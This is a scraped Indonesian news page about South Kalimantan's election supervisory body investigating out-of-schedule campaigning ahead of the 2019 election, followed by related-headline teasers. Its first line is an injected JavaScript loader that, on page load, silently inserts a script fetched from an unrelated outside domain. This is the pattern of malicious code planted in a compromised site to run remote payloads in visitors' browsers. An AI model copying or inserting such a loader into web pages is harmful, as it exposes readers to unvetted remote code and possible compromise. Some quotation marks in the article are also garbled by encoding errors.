(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Memasuki masa kampanye Pemilu 2019, semua harus tahu aturan, terutama jangan sampai para Caleg melakukan kampanye di luar waktu yang ditentukan.
Divisi Penindakan Pelanggaran Bawaslu Kalsel Azhari Dani mengatakan, setiap laporan pelanggaran yang diterima Bawaslu semuanya akan melalui proses informasi, investigasi, temuan, kajian, lalu berujung pada proses rekomendasi atau putusan.
Sejauh ini, informasi yang didapat Bawaslu Kalsel adalah terkait kegiatan deklarasi oleh kepala dan wakil daerah untuk Jokowi-Ma’aruf Amin. “Ini dalam proses penanganan. Kami telah melakukan klarifikasi terhadap beberapa walikota dan bupati,†ujarnya.
Pria yang bisa dipanggil Aldo ini mengatakan, kampanye di media massa cetak, elektronik, media daring, dan rapat umum hanya boleh dilakukan pada tanggal 21 Maret hingga 13 April nanti.
Selain itu Bawaslu Kalsel juga mendapat beberapa informasi terkait proses kampanye di luar jadwal yang dilakukan oleh beberapa media daring. “Semuanya masih dalam proses investigasi untuk dijadikan temuan. Nanti kalau memang benar ada, kami akan undang (media daring) untuk klarifikasi,†tegasnya.
Bawaslu Kalsel sendiri mengakui, mereka tidak bisa mengawasi seluruh media daring yang ada di Kalsel. Meskipun semua media daring bisa diakses kapan pun dan di mana pun, Aldo sendiri mengakui mereka belum tentu mengetahui situs media daring yang ada. “Selain karena media online yang tergolong baru, kami belum terpantau,†katanya.
Kebanyakan media daring yang diduga melakukan kampanye di luar jadwal ini adalah hasil dari temuan Bawaslu Kalsel. Meskipun sampai saat ini pihak Bawaslu belum bisa meberitahukan jumlah media daring yang ditemukan.
Aldo menambahkan, Bawaslu Kalsel melihat siapa saja subjek yang ikut andil dalam kampanye di luar jadwal tersebut. “Tidak hanya caleg, tapi setiap orang yang kemudian melakukan atau membuat iklan itu,†tegasnya.
Ketika ada caleg yang beriklan di media, konsekuensinya bisa pidana atau administratif. Sanksi pidana ini secara tegas diatur dalam Pasal 492 Undang-undang (UU) Nomor 7 Tahun 2017 tentang Pemilu. Pasal tersebut menyatakan, setiap orang yang dengan sengaja melakukan kampanye Pemilu di luar jadwal yang telah ditetapkan oleh KPU, bisa dipidana dengan pidana kurungan paling lama satu tahun dan denda paling banyak Rp 12 juta. (mario)
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More
This website uses cookies.